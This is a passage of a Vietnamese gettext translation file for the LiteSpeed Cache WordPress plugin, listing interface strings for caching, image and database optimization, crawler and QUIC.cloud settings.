msgid "Calculate Backups Disk Space"
msgstr "Tính toán dung lượng đĩa sao lưu"

#: tpl/img_optm/summary.tpl.php:108
msgid "Optimization Status"
msgstr "Trạng thái tối ưu hóa"

#: tpl/img_optm/summary.tpl.php:69
msgid "Current limit is"
msgstr "Giới hạn hiện tại là"

#: tpl/img_optm/summary.tpl.php:68
msgid "To make sure our server can communicate with your server without any issues and everything works fine, for the few first requests the number of image groups allowed in a single request is limited."
msgstr "Để đảm bảo máy chủ của chúng tôi có thể giao tiếp với máy chủ của bạn mà không gặp bất kỳ sự cố nào và mọi thứ đều hoạt động tốt, đối với một số yêu cầu đầu tiên, số lượng nhóm hình ảnh được phép trong một yêu cầu sẽ bị giới hạn."

#: tpl/img_optm/summary.tpl.php:63
msgid "You can request a maximum of %s images at once."
msgstr "Bạn có thể yêu cầu tối đa %s hình ảnh cùng một lúc."

#: tpl/img_optm/summary.tpl.php:58
msgid "Optimize images with our QUIC.cloud server"
msgstr "Tối ưu hóa hình ảnh với máy chủ QUIC.cloud của chúng tôi"

#: tpl/db_optm/settings.tpl.php:46
msgid "Revisions newer than this many days will be kept when cleaning revisions."
msgstr "Các bản sửa đổi mới hơn nhiều ngày này sẽ được giữ lại khi dọn dẹp các bản sửa đổi."

#: tpl/db_optm/settings.tpl.php:44
msgid "Day(s)"
msgstr "Ngày"

#: tpl/db_optm/settings.tpl.php:32
msgid "Specify the number of most recent revisions to keep when cleaning revisions."
msgstr "Chỉ định số lượng các bản sửa đổi gần đây nhất để giữ lại khi làm sạch các bản sửa đổi."

#: tpl/db_optm/entry.tpl.php:24
msgid "LiteSpeed Cache Database Optimization"
msgstr "Tối ưu hóa cơ sở dữ liệu LiteSpeed Cache"

#: tpl/db_optm/entry.tpl.php:17 tpl/db_optm/settings.tpl.php:19
msgid "DB Optimization Settings"
msgstr "Cài đặt tối ưu hóa DB"

#: tpl/db_optm/manage.tpl.php:185
msgid "Option Name"
msgstr "Tên tùy chọn"

#: tpl/db_optm/manage.tpl.php:171
msgid "Database Summary"
msgstr "Tóm tắt cơ sở dữ liệu"

#: tpl/db_optm/manage.tpl.php:149
msgid "We are good. No table uses MyISAM engine."
msgstr "Chúng tôi ổn. Không có bảng nào sử dụng công cụ MyISAM."

#: tpl/db_optm/manage.tpl.php:141
msgid "Convert to InnoDB"
msgstr "Chuyển đổi sang InnoDB"

#: tpl/db_optm/manage.tpl.php:126
msgid "Tool"
msgstr "Công cụ"

#: tpl/db_optm/manage.tpl.php:125
msgid "Engine"
msgstr "Công cụ"

#: tpl/db_optm/manage.tpl.php:124
msgid "Table"
msgstr "Bảng"

#: tpl/db_optm/manage.tpl.php:116
msgid "Database Table Engine Converter"
msgstr "Công cụ chuyển đổi bảng cơ sở dữ liệu"

#: tpl/db_optm/manage.tpl.php:66
msgid "Clean revisions older than %1$s day(s), excluding %2$s latest revisions"
msgstr "Làm sạch các bản sửa đổi cũ hơn %1$s ngày, không bao gồm %2$s các bản sửa đổi mới nhất"

#: tpl/dash/dashboard.tpl.php:87 tpl/dash/dashboard.tpl.php:806
msgid "Currently active crawler"
msgstr "Trình thu thập thông tin hiện đang hoạt động"

#: tpl/dash/dashboard.tpl.php:84 tpl/dash/dashboard.tpl.php:803
msgid "Crawler(s)"
msgstr "Thu thập thông tin"

#: tpl/crawler/map.tpl.php:77 tpl/dash/dashboard.tpl.php:80
#: tpl/dash/dashboard.tpl.php:799
msgid "Crawler Status"
msgstr "Trạng thái trình thu thập thông tin"

#: tpl/dash/dashboard.tpl.php:648 tpl/dash/dashboard.tpl.php:692
#: tpl/dash/dashboard.tpl.php:736 tpl/dash/dashboard.tpl.php:780
msgid "Force cron"
msgstr "Bắt buộc cron"

#: tpl/dash/dashboard.tpl.php:645 tpl/dash/dashboard.tpl.php:689
#: tpl/dash/dashboard.tpl.php:733 tpl/dash/dashboard.tpl.php:777
msgid "Requests in queue"
msgstr "Yêu cầu trong hàng đợi"

#: tpl/dash/dashboard.tpl.php:59 tpl/dash/dashboard.tpl.php:602
msgid "Private Cache"
msgstr "Bộ nhớ đệm riêng"

#: tpl/dash/dashboard.tpl.php:58 tpl/dash/dashboard.tpl.php:601
msgid "Public Cache"
msgstr "Bộ nhớ đệm công khai"

#: tpl/dash/dashboard.tpl.php:53 tpl/dash/dashboard.tpl.php:596
msgid "Cache Status"
msgstr "Trạng thái bộ nhớ đệm"

#: tpl/dash/dashboard.tpl.php:571
msgid "Last Pull"
msgstr "Lần kéo cuối cùng"

#: tpl/dash/dashboard.tpl.php:519 tpl/img_optm/entry.tpl.php:16
msgid "Image Optimization Summary"
msgstr "Tóm tắt tối ưu hóa hình ảnh"

#: tpl/dash/dashboard.tpl.php:511
msgid "Refresh page score"
msgstr "Làm mới điểm trang"

#: tpl/dash/dashboard.tpl.php:382 tpl/img_optm/summary.tpl.php:54
#: tpl/page_optm/settings_css.tpl.php:111
#: tpl/page_optm/settings_css.tpl.php:248
#: tpl/page_optm/settings_media.tpl.php:194
#: tpl/page_optm/settings_vpi.tpl.php:59
msgid "Are you sure you want to redetect the closest cloud server for this service?"
msgstr "Bạn có chắc chắn muốn phát hiện lại máy chủ đám mây gần nhất cho dịch vụ này không?"

#: tpl/dash/dashboard.tpl.php:446
msgid "Refresh page load time"
msgstr "Làm mới thời gian tải trang"

#: tpl/dash/dashboard.tpl.php:353 tpl/general/online.tpl.php:128
msgid "Go to QUIC.cloud dashboard"
msgstr "Truy cập trang tổng quan QUIC.cloud"

#: tpl/dash/dashboard.tpl.php:206 tpl/dash/dashboard.tpl.php:711
#: tpl/dash/network_dash.tpl.php:39
msgid "Low Quality Image Placeholder"
msgstr "Trình giữ chỗ hình ảnh chất lượng thấp"

#: tpl/dash/dashboard.tpl.php:182
msgid "Sync data from Cloud"
msgstr "Đồng bộ hóa dữ liệu từ đám mây"

#: tpl/dash/dashboard.tpl.php:179
msgid "QUIC.cloud Service Usage Statistics"
msgstr "Thống kê sử dụng dịch vụ QUIC.cloud"

#: tpl/dash/dashboard.tpl.php:292 tpl/dash/network_dash.tpl.php:119
msgid "Total images optimized in this month"
msgstr "Tổng số hình ảnh được tối ưu hóa trong tháng này"

#: tpl/dash/dashboard.tpl.php:291 tpl/dash/network_dash.tpl.php:118
msgid "Total Usage"
msgstr "Tổng mức sử dụng"

#: tpl/dash/dashboard.tpl.php:273 tpl/dash/network_dash.tpl.php:111
msgid "Pay as You Go Usage Statistics"
msgstr "Thống kê sử dụng Pay as You Go"

#: tpl/dash/dashboard.tpl.php:270 tpl/dash/network_dash.tpl.php:108
msgid "PAYG Balance"
msgstr "Số dư PAYG"

#: tpl/dash/network_dash.tpl.php:107
msgid "Pay as You Go"
msgstr "Làm bao nhiêu trả bấy nhiêu"

#: tpl/dash/dashboard.tpl.php:258 tpl/dash/network_dash.tpl.php:95
msgid "Usage"
msgstr "Sử dụng"

#: tpl/dash/dashboard.tpl.php:258 tpl/dash/network_dash.tpl.php:95
msgid "Fast Queue Usage"
msgstr "Sử dụng hàng đợi nhanh"

#: tpl/dash/dashboard.tpl.php:205 tpl/dash/network_dash.tpl.php:38
msgid "CDN Bandwidth"
msgstr "Băng thông CDN"

#: tpl/dash/entry.tpl.php:29
msgid "LiteSpeed Cache Dashboard"
msgstr "Tổng quan LiteSpeed Cache"

#: tpl/dash/entry.tpl.php:21
msgid "Network Dashboard"
msgstr "Bảng tổng quan mạng"

#: tpl/general/online.tpl.php:51
msgid "No cloud services currently in use"
msgstr "Không có dịch vụ đám mây nào hiện đang được sử dụng"

#: tpl/general/online.tpl.php:31
msgid "Click to clear all nodes for further redetection."
msgstr "Nhấp để xóa tất cả các nút để xác định lại thêm."

#: tpl/general/online.tpl.php:30
msgid "Current Cloud Nodes in Service"
msgstr "Các nút đám mây hiện tại đang được sử dụng"

#: tpl/cdn/qc.tpl.php:126 tpl/cdn/qc.tpl.php:133 tpl/dash/dashboard.tpl.php:359
#: tpl/general/online.tpl.php:153
msgid "Link to QUIC.cloud"
msgstr "Liên kết tới QUIC.cloud"

#: tpl/general/entry.tpl.php:17 tpl/general/entry.tpl.php:23
#: tpl/general/network_settings.tpl.php:19 tpl/general/settings.tpl.php:24
msgid "General Settings"
msgstr "Cài đặt chung"

#: tpl/cdn/other.tpl.php:136
msgid "Specify which HTML element attributes will be replaced with CDN Mapping."
msgstr "Chỉ định các thuộc tính phần tử HTML nào sẽ được thay thế bằng CDN Mapping."

#: src/admin-display.cls.php:475
msgid "Add new CDN URL"
msgstr "Thêm URL CDN mới"

#: src/admin-display.cls.php:474
msgid "Remove CDN URL"
msgstr "Xóa URL CDN"

#: tpl/cdn/cf.tpl.php:102
msgid "To enable the following functionality, turn ON Cloudflare API in CDN Settings."
msgstr "Để bật chức năng sau, hãy BẬT API Cloudflare trong Cài đặt CDN."

#: tpl/cdn/entry.tpl.php:14
msgid "QUIC.cloud"
msgstr "QUIC.cloud"

#: thirdparty/woocommerce.content.tpl.php:18
msgid "WooCommerce Settings"
msgstr "Cài đặt WooCommerce"

#: src/gui.cls.php:638 src/gui.cls.php:820
#: tpl/page_optm/settings_media.tpl.php:141 tpl/toolbox/purge.tpl.php:100
msgid "LQIP Cache"
msgstr "Bộ nhớ đệm LQIP"

#: src/admin-settings.cls.php:297 src/admin-settings.cls.php:333
msgid "Options saved."
msgstr "Đã lưu tuỳ chọn."

#: src/img-optm.cls.php:1745
msgid "Removed backups successfully."
msgstr "Đã xóa các bản sao lưu thành công."

#: src/img-optm.cls.php:1653
msgid "Calculated backups successfully."
msgstr "Đã tính toán sao lưu thành công."

#: src/img-optm.cls.php:1587
msgid "Rescanned %d images successfully."
msgstr "Đã quét lại %d hình ảnh thành công."

#: src/img-optm.cls.php:1523 src/img-optm.cls.php:1587
msgid "Rescanned successfully."
msgstr "Đã quét lại thành công."

#: src/img-optm.cls.php:1458
msgid "Destroy all optimization data successfully."
msgstr "Hủy tất cả dữ liệu tối ưu hóa thành công."

#: src/img-optm.cls.php:1357
msgid "Cleaned up unfinished data successfully."
msgstr "Đã xóa thành công dữ liệu chưa hoàn thành."

#: src/img-optm.cls.php:976
msgid "Pull Cron is running"
msgstr "Pull Cron đang chạy"

#: src/img-optm.cls.php:700
msgid "No valid image found by Cloud server in the current request."
msgstr "Máy chủ đám mây không tìm thấy hình ảnh hợp lệ nào trong yêu cầu hiện tại."

#: src/img-optm.cls.php:675
msgid "No valid image found in the current request."
msgstr "Không tìm thấy hình ảnh hợp lệ trong yêu cầu hiện tại."

#: src/img-optm.cls.php:350
msgid "Pushed %1$s to Cloud server, accepted %2$s."
msgstr "Đã đẩy %1$s lên máy chủ Đám mây, đã chấp nhận %2$s."

#: src/lang.cls.php:267
msgid "Revisions Max Age"
msgstr "Tuổi tối đa của Bản sửa đổi"

#: src/lang.cls.php:266
msgid "Revisions Max Number"
msgstr "Số bản sửa đổi tối đa"

#: src/lang.cls.php:263
msgid "Debug URI Excludes"
msgstr "Gỡ lỗi URI loại trừ"

#: src/lang.cls.php:262
msgid "Debug URI Includes"
msgstr "Gỡ lỗi URI bao gồm"

#: src/lang.cls.php:242
msgid "HTML Attribute To Replace"
msgstr "Thuộc tính HTML để thay thế"

#: src/lang.cls.php:236
msgid "Use CDN Mapping"
msgstr "Sử dụng CDN Mapping"

#: src/lang.cls.php:234
msgid "Editor Heartbeat TTL"
msgstr "Thời hạn TTL Heartbeat trình chỉnh sửa"

#: src/lang.cls.php:233
msgid "Editor Heartbeat"
msgstr "Heartbeat trình chỉnh sửa"

#: src/lang.cls.php:232
msgid "Backend Heartbeat TTL"
msgstr "Thời hạn TTL của Heartbeat giao diện quản trị"

#: src/lang.cls.php:231
msgid "Backend Heartbeat Control"
msgstr "Kiểm soát Heartbeat giao diện quản trị"

#: src/lang.cls.php:230
msgid "Frontend Heartbeat TTL"
msgstr "Thời hạn TTL của Heartbeat giao diện người dùng"

#: src/lang.cls.php:229
msgid "Frontend Heartbeat Control"
msgstr "Kiểm soát Heartbeat giao diện người dùng"

#: tpl/toolbox/edit_htaccess.tpl.php:71
msgid "Backend .htaccess Path"
msgstr "Đường dẫn .htaccess phụ trợ"

#: tpl/toolbox/edit_htaccess.tpl.php:53
msgid "Frontend .htaccess Path"
msgstr "Đường dẫn .htaccess Frontend"

#: src/lang.cls.php:219
msgid "ESI Nonces"
msgstr "Mã thông báo ESI"

#: src/lang.cls.php:215
msgid "WordPress Image Quality Control"
msgstr "Kiểm soát chất lượng hình ảnh WordPress"

#: src/lang.cls.php:206
msgid "Auto Request Cron"
msgstr "Yêu cầu tự động Cron"

#: src/lang.cls.php:199
msgid "Generate LQIP In Background"
msgstr "Tạo LQIP trong nền"

#: src/lang.cls.php:197
msgid "LQIP Minimum Dimensions"
msgstr "Kích thước tối thiểu LQIP"

#: src/lang.cls.php:196
msgid "LQIP Quality"
msgstr "Chất lượng LQIP"

#: src/lang.cls.php:195
msgid "LQIP Cloud Generator"
msgstr "Trình tạo đám mây LQIP"

#: src/lang.cls.php:194
msgid "Responsive Placeholder SVG"
msgstr "SVG giữ chỗ phản hồi"

#: src/lang.cls.php:193
msgid "Responsive Placeholder Color"
msgstr "Màu giữ chỗ phản hồi"

#: src/lang.cls.php:191
msgid "Basic Image Placeholder"
msgstr "Hình ảnh giữ chỗ cơ bản"

#: src/lang.cls.php:189
msgid "Lazy Load URI Excludes"
msgstr "Loại trừ URI tải chậm"

#: src/lang.cls.php:188
msgid "Lazy Load Iframe Parent Class Name Excludes"
msgstr "Loại trừ tên lớp cha Iframe tải chậm"

#: src/lang.cls.php:187
msgid "Lazy Load Iframe Class Name Excludes"
msgstr "Loại trừ tên lớp Iframe tải chậm"

#: src/lang.cls.php:186
msgid "Lazy Load Image Parent Class Name Excludes"
msgstr "Loại trừ tên lớp cha hình ảnh tải chậm"

#: src/lang.cls.php:181
msgid "Gravatar Cache TTL"
msgstr "Bộ nhớ đệm Gravatar TTL"

#: src/lang.cls.php:180
msgid "Gravatar Cache Cron"
msgstr "Cron bộ nhớ đệm Gravatar"

#: src/gui.cls.php:648 src/gui.cls.php:830 src/lang.cls.php:179
#: tpl/presets/standard.tpl.php:49 tpl/toolbox/purge.tpl.php:109
msgid "Gravatar Cache"
msgstr "Bộ nhớ đệm Gravatar"

#: src/lang.cls.php:159
msgid "DNS Prefetch Control"
msgstr "Kiểm soát tìm nạp trước DNS"

#: src/lang.cls.php:154 tpl/presets/standard.tpl.php:46
msgid "Font Display Optimization"
msgstr "Tối ưu hóa hiển thị phông chữ"

#: src/lang.cls.php:131
msgid "Force Public Cache URIs"
msgstr "Buộc URI bộ nhớ đệm công khai"

#: src/lang.cls.php:102
msgid "Notifications"
msgstr "Thông báo"

#: src/lang.cls.php:96
msgid "Default HTTP Status Code Page TTL"
msgstr "TTL trang mã trạng thái HTTP mặc định"

#: src/lang.cls.php:95
msgid "Default REST TTL"
msgstr "REST TTL mặc định"

#: src/lang.cls.php:89
msgid "Enable Cache"
msgstr "Bật bộ nhớ đệm"

#: src/cloud.cls.php:239 src/cloud.cls.php:291 src/lang.cls.php:85
msgid "Server IP"
msgstr "IP máy chủ"

#: src/lang.cls.php:24
msgid "Images not requested"
msgstr "Hình ảnh không được yêu cầu"

#: src/cloud.cls.php:2036
msgid "Sync credit allowance with Cloud Server successfully."
msgstr "Đồng bộ hóa khoản tín dụng với máy chủ đám mây thành công."

#: src/cloud.cls.php:1656
msgid "Failed to communicate with QUIC.cloud server"
msgstr "Không kết nối được với máy chủ QUIC.cloud"

#: src/cloud.cls.php:1579
msgid "Good news from QUIC.cloud server"
msgstr "Tin vui từ máy chủ QUIC.cloud"

#: src/cloud.cls.php:1563 src/cloud.cls.php:1571
msgid "Message from QUIC.cloud server"
msgstr "Tin nhắn từ máy chủ QUIC.cloud"

#: src/cloud.cls.php:1239
msgid "Please try after %1$s for service %2$s."
msgstr "Vui lòng thử sau %1$s cho dịch vụ %2$s."

#: src/cloud.cls.php:1095
msgid "No available Cloud Node."
msgstr "Không có Nút Cloud nào khả dụng."

#: src/cloud.cls.php:978 src/cloud.cls.php:991 src/cloud.cls.php:1029
#: src/cloud.cls.php:1095 src/cloud.cls.php:1236
msgid "Cloud Error"
msgstr "Lỗi đám mây"

#: src/data.cls.php:214
msgid "The database has been upgrading in the background since %s. This message will disappear once upgrade is complete."
msgstr "Cơ sở dữ liệu đã được nâng cấp trong nền kể từ %s. Thông báo này sẽ biến mất sau khi nâng cấp hoàn tất."

#: src/media.cls.php:449
msgid "Restore from backup"
msgstr "Khôi phục bản sao lưu"

#: src/media.cls.php:434
msgid "No backup of unoptimized WebP file exists."
msgstr "Không tồn tại bản sao lưu của tệp WebP chưa được tối ưu hóa."

#: src/media.cls.php:420
msgid "WebP file reduced by %1$s (%2$s)"
msgstr "Tệp WebP đã giảm %1$s (%2$s)"

#: src/media.cls.php:412
msgid "Currently using original (unoptimized) version of WebP file."
msgstr "Hiện đang sử dụng phiên bản gốc (chưa được tối ưu hóa) của tệp WebP."

#: src/media.cls.php:405
msgid "Currently using optimized version of WebP file."
msgstr "Hiện đang sử dụng phiên bản tệp WebP được tối ưu hóa."

#: src/media.cls.php:383
msgid "Orig"
msgstr "Gốc"

#: src/media.cls.php:381
msgid "(no savings)"
msgstr "(không tiết kiệm)"

#: src/media.cls.php:381
msgid "Orig %s"
msgstr "Gốc %s"

#: src/media.cls.php:380
msgid "Congratulation! Your file was already optimized"
msgstr "Xin chúc mừng! Tệp của bạn đã được tối ưu hóa"

#: src/media.cls.php:375
msgid "No backup of original file exists."
msgstr "Không có bản sao lưu của tệp gốc tồn tại."

#: src/media.cls.php:375 src/media.cls.php:433
msgid "Using optimized version of file. "
msgstr "Sử dụng phiên bản tệp được tối ưu hóa."

#: src/media.cls.php:368
msgid "Orig saved %s"
msgstr "Gốc đã lưu %s"

#: src/media.cls.php:364
msgid "Original file reduced by %1$s (%2$s)"
msgstr "Tệp gốc đã giảm %1$s (%2$s)"

#: src/media.cls.php:358 src/media.cls.php:413
msgid "Click to switch to optimized version."
msgstr "Nhấp để chuyển sang phiên bản tối ưu hóa."

#: src/media.cls.php:358
msgid "Currently using original (unoptimized) version of file."
msgstr "Hiện đang sử dụng phiên bản gốc (chưa được tối ưu hóa) của tệp."

#: src/media.cls.php:357 src/media.cls.php:409
msgid "(non-optm)"
msgstr "(không tối ưu)"

#: src/media.cls.php:354 src/media.cls.php:406
msgid "Click to switch to original (unoptimized) version."
msgstr "Nhấp để chuyển sang phiên bản gốc (chưa tối ưu hóa)."

#: src/media.cls.php:354
msgid "Currently using optimized version of file."
msgstr "Hiện đang sử dụng phiên bản tệp được tối ưu hóa."

#: src/media.cls.php:353 src/media.cls.php:376 src/media.cls.php:402
#: src/media.cls.php:435
msgid "(optm)"
msgstr "(tối ưu)"

#: src/placeholder.cls.php:140
msgid "LQIP image preview for size %s"
msgstr "Xem trước hình ảnh LQIP cho kích thước %s"

#: src/placeholder.cls.php:83
msgid "LQIP"
msgstr "LQIP"

#: src/crawler.cls.php:1410
msgid "Previously existed in blocklist"
msgstr "Đã tồn tại trước đây trong danh sách chặn"

#: src/crawler.cls.php:1407
msgid "Manually added to blocklist"
msgstr "Được thêm vào danh sách chặn theo cách thủ công"

#: src/htaccess.cls.php:325
msgid "Mobile Agent Rules"
msgstr "Quy tắc tác nhân di động"

#: src/crawler-map.cls.php:377
msgid "Sitemap created successfully: %d items"
msgstr "Sơ đồ trang web đã được tạo thành công: %d mục"

#: src/crawler-map.cls.php:280
msgid "Sitemap cleaned successfully"
msgstr "Sơ đồ trang web đã được xóa thành công"

#: src/admin-display.cls.php:1494
msgid "Invalid IP"
msgstr "IP không hợp lệ"

#: src/admin-display.cls.php:1466
msgid "Value range"
msgstr "Phạm vi giá trị"

#: src/admin-display.cls.php:1463
msgid "Smaller than"
msgstr "Nhỏ hơn"

#: src/admin-display.cls.php:1461
msgid "Larger than"
msgstr "Lớn hơn"

#: src/admin-display.cls.php:1455
msgid "Zero, or"
msgstr "Không, hoặc"

#: src/admin-display.cls.php:1443
msgid "Maximum value"
msgstr "Giá trị tối đa"

#: src/admin-display.cls.php:1440
msgid "Minimum value"
msgstr "Giá trị tối thiểu"

#: src/admin-display.cls.php:1420
msgid "Path must end with %s"
msgstr "Đường dẫn phải kết thúc bằng %s"

#: src/admin-display.cls.php:1400
msgid "Invalid rewrite rule"
msgstr "Quy tắc viết lại không hợp lệ"

#: src/admin-display.cls.php:260
msgid "Toolbox"
msgstr "Công cụ"

#: src/admin-display.cls.php:258
msgid "Database"
msgstr "Cơ sở dữ liệu"

#: src/admin-display.cls.php:257 tpl/dash/dashboard.tpl.php:204
#: tpl/dash/network_dash.tpl.php:37 tpl/general/online.tpl.php:83
#: tpl/general/online.tpl.php:133 tpl/general/online.tpl.php:148
msgid "Page Optimization"
msgstr "Tối ưu trang"

#: src/admin-display.cls.php:250 tpl/dash/entry.tpl.php:16
msgid "Dashboard"
msgstr "Tổng quan"

#: src/db-optm.cls.php:291
msgid "Converted to InnoDB successfully."
msgstr "Chuyển đổi thành InnoDB thành công."

#: src/purge.cls.php:328
msgid "Cleaned all Gravatar files."
msgstr "Đã dọn dẹp tất cả các tệp Gravatar."

#: src/purge.cls.php:311
msgid "Cleaned all LQIP files."
msgstr "Đã xóa tất cả các tệp LQIP."

#: src/error.cls.php:239
msgid "Unknown error"
msgstr "Lỗi không xác định"

#: src/error.cls.php:228
msgid "Your domain has been forbidden from using our services due to a previous policy violation."
msgstr "Miền của bạn đã bị cấm sử dụng các dịch vụ của chúng tôi do vi phạm chính sách trước đó."

#: src/error.cls.php:223
msgid "The callback validation to your domain failed. Please make sure there is no firewall blocking our servers. Response code: "
msgstr "Xác thực gọi lại cho miền của bạn không thành công. Hãy đảm bảo rằng không có tường lửa nào chặn máy chủ của chúng tôi. Mã phản hồi:"

#: src/error.cls.php:218
msgid "The callback validation to your domain failed. Please make sure there is no firewall blocking our servers."
msgstr "Xác thực gọi lại cho miền của bạn không thành công. Hãy đảm bảo rằng không có tường lửa nào chặn máy chủ của chúng tôi."

#: src/error.cls.php:214
msgid "The callback validation to your domain failed due to hash mismatch."
msgstr "Xác thực cuộc gọi lại đến miền của bạn không thành công do băm không khớp."

#: src/error.cls.php:210
msgid "Your application is waiting for approval."
msgstr "Ứng dụng của bạn đang chờ phê duyệt."

#: src/error.cls.php:204
msgid "Previous request too recent. Please try again after %s."
msgstr "Yêu cầu trước đây quá gần đây. Vui lòng thử lại sau %s."

#: src/error.cls.php:199
msgid "Previous request too recent. Please try again later."
msgstr "Yêu cầu trước đây quá gần đây. Vui lòng thử lại sau."

#: src/error.cls.php:195
msgid "Crawler disabled by the server admin."
msgstr "Quản trị viên máy chủ đã tắt trình thu thập thông tin."

#: src/error.cls.php:191
msgid "Failed to create table %1$s! SQL: %2$s."
msgstr "Không thể tạo bảng %1$s! SQL: %2$s."

#: src/error.cls.php:167
msgid "Could not find %1$s in %2$s."
msgstr "Không tìm thấy %1$s trong %2$s."

#: src/error.cls.php:155
msgid "Credits are not enough to proceed the current request."
msgstr "Tín dụng không đủ để tiến hành yêu cầu hiện tại."

#: src/error.cls.php:124
msgid "There is proceeding queue not pulled yet."
msgstr "Có hàng đợi đang xử lý chưa được kéo."

#: src/error.cls.php:116
msgid "The image list is empty."
msgstr "Danh sách hình ảnh trống."

#: src/task.cls.php:233
msgid "LiteSpeed Crawler Cron"
msgstr "Trình thu thập thông tin LiteSpeed Cron"

#: src/task.cls.php:214
msgid "Every Minute"
msgstr "Mỗi phút"

#: tpl/general/settings.tpl.php:119
msgid "Turn this option ON to show latest news automatically, including hotfixes, new releases, available beta versions, and promotions."
msgstr "BẬT tùy chọn này để tự động hiển thị tin tức mới nhất, bao gồm hotfix, bản phát hành mới, phiên bản beta có sẵn và chương trình khuyến mãi."

#: tpl/toolbox/report.tpl.php:105
msgid "To grant wp-admin access to the LiteSpeed Support Team, please generate a passwordless link for the current logged-in user to be sent with the report."
msgstr "Để cấp quyền truy cập wp-admin cho nhóm LiteSpeed Support, vui lòng tạo một liên kết đăng nhập không cần mật khẩu cho người dùng đăng nhập hiện tại được gửi cùng với báo cáo."

#: tpl/toolbox/report.tpl.php:107
msgid "Please do NOT share the above passwordless link with anyone."
msgstr "Vui lòng KHÔNG chia sẻ liên kết không mật khẩu ở trên với bất cứ ai."

#: tpl/toolbox/report.tpl.php:48
msgid "To generate a passwordless link for LiteSpeed Support Team access, you must install %s."
msgstr "Để tạo một liên kết đăng nhập không cần mật khẩu cho nhóm LiteSpeed Support Team, bạn phải cài đặt %s."

#: tpl/banner/cloud_news.tpl.php:30 tpl/banner/cloud_news.tpl.php:41
msgid "Install"
msgstr "Cài đặt"

#: tpl/cache/settings-esi.tpl.php:46
msgid "These options are only available with LiteSpeed Enterprise Web Server or QUIC.cloud CDN."
msgstr "Những tùy chọn này chỉ có ở LiteSpeed Enterprise Web Server hoặc QUIC.cloud CDN."

#: tpl/banner/score.php:74 tpl/dash/dashboard.tpl.php:455
msgid "PageSpeed Score"
msgstr "Điểm PageSpeed"

#: tpl/banner/score.php:62 tpl/banner/score.php:96
#: tpl/dash/dashboard.tpl.php:410 tpl/dash/dashboard.tpl.php:486
msgid "Improved by"
msgstr "Cải thiện bởi"

#: tpl/banner/score.php:53 tpl/banner/score.php:87
#: tpl/dash/dashboard.tpl.php:402 tpl/dash/dashboard.tpl.php:478
msgid "After"
msgstr "Sau đó"

#: tpl/banner/score.php:45 tpl/banner/score.php:79
#: tpl/dash/dashboard.tpl.php:394 tpl/dash/dashboard.tpl.php:470
msgid "Before"
msgstr "Trước đó"

#: tpl/banner/score.php:40 tpl/dash/dashboard.tpl.php:374
msgid "Page Load Time"
msgstr "Thời gian tải trang"

#: tpl/inc/check_cache_disabled.php:20
msgid "To use the caching functions you must have a LiteSpeed web server or be using QUIC.cloud CDN."
msgstr "Để sử dụng các chức năng lưu trữ, bạn phải có máy chủ web LiteSpeed hoặc đang sử dụng QUIC.cloud CDN."

#: src/lang.cls.php:212
msgid "Preserve EXIF/XMP data"
msgstr "Giữ nguyên dữ liệu EXIF/XMP"

#: tpl/toolbox/beta_test.tpl.php:35
msgid "Try GitHub Version"
msgstr "Dùng thử phiên bản GitHub"

#: tpl/cdn/other.tpl.php:112
msgid "If you turn any of the above settings OFF, please remove the related file types from the %s box."
msgstr "Nếu bạn tắt bất kỳ cài đặt nào ở trên, vui lòng xóa các loại tệp liên quan khỏi hộp %s."

#: src/doc.cls.php:123
msgid "Both full and partial strings can be used."
msgstr "Cả hai loại chuỗi (string) đầy đủ và một phần của chuỗi đều có thể được sử dụng."

#: tpl/page_optm/settings_media_exc.tpl.php:60
msgid "Images containing these class names will not be lazy loaded."
msgstr "Hình ảnh có chứa các tên class này sẽ không được tải lazyload."

#: src/lang.cls.php:185
msgid "Lazy Load Image Class Name Excludes"
msgstr "Loại trừ class chứa ảnh ra khỏi Lazy Load"

#: tpl/cache/settings-cache.tpl.php:139 tpl/cache/settings-cache.tpl.php:164
msgid "For example, %1$s defines a TTL of %2$s seconds for %3$s."
msgstr "Ví dụ,  %1$s định nghĩa một TTL là %2$s giây cho %3$s."

#: tpl/cache/settings-cache.tpl.php:136 tpl/cache/settings-cache.tpl.php:161
msgid "To define a custom TTL for a URI, add a space followed by the TTL value to the end of the URI."
msgstr "Để xác định một TTL tùy chỉnh cho một URI, hãy thêm một khoảng trắng theo sau là giá trị TTL vào cuối URI."

#: tpl/banner/new_version.php:93
msgid "Maybe Later"
msgstr "Để sau"

#: tpl/banner/new_version.php:87
msgid "Turn On Auto Upgrade"
msgstr "Bật tự động nâng cấp"

#: tpl/banner/new_version.php:77 tpl/banner/new_version_dev.tpl.php:41
#: tpl/toolbox/beta_test.tpl.php:87
msgid "Upgrade"
msgstr "Nâng cấp"

#: tpl/banner/new_version.php:66
msgid "New release %s is available now."
msgstr "Bản phát hành mới %s hiện có sẵn."

#: tpl/banner/new_version.php:58
msgid "New Version Available!"
msgstr "Đã có phiên bản mới!"

#: tpl/banner/score.php:121
msgid "Created with ❤️ by LiteSpeed team."
msgstr "Được tạo với ❤️ bởi đội ngũ LiteSpeed."

#: tpl/banner/score.php:112
msgid "Sure I'd love to review!"
msgstr "Chắc chắn là tôi muốn đánh giá rồi!"

#: tpl/banner/score.php:36
msgid "Thank You for Using the LiteSpeed Cache Plugin!"
msgstr "Cảm ơn bạn đã sử dụng Plugin LiteSpeed Cache!"

#: src/activation.cls.php:572
msgid "Upgraded successfully."
msgstr "Nâng cấp thành công."

#: src/activation.cls.php:563 src/activation.cls.php:568
msgid "Failed to upgrade."
msgstr "Không thể nâng cấp."

#: src/conf.cls.php:683
msgid "Changed setting successfully."
msgstr "Thay đổi cài đặt thành công."

#: tpl/cache/settings-esi.tpl.php:37
msgid "ESI sample for developers"
msgstr "Mẫu ESI cho các nhà phát triển"

#: tpl/cache/settings-esi.tpl.php:29
msgid "Replace %1$s with %2$s."
msgstr "Thay thế %1$s bằng %2$s."

#: tpl/cache/settings-esi.tpl.php:26
msgid "You can turn shortcodes into ESI blocks."
msgstr "Bạn có thể biến shortcode thành các khối ESI."

#: tpl/cache/settings-esi.tpl.php:22
msgid "WpW: Private Cache vs. Public Cache"
msgstr "WpW: Cache ẩn danh so với Cache công khai"

#: tpl/page_optm/settings_html.tpl.php:132
msgid "Append query string %s to the resources to bypass this action."
msgstr "Nối chuỗi truy vấn %s vào tài nguyên để bỏ qua hành động này."

#: tpl/page_optm/settings_html.tpl.php:127
msgid "Google reCAPTCHA will be bypassed automatically."
msgstr "Google reCAPTCHA sẽ được bỏ qua tự động."

#: tpl/crawler/settings.tpl.php:172
msgid "To crawl for a particular cookie, enter the cookie name, and the values you wish to crawl for. Values should be one per line. There will be one crawler created per cookie value, per simulated role."
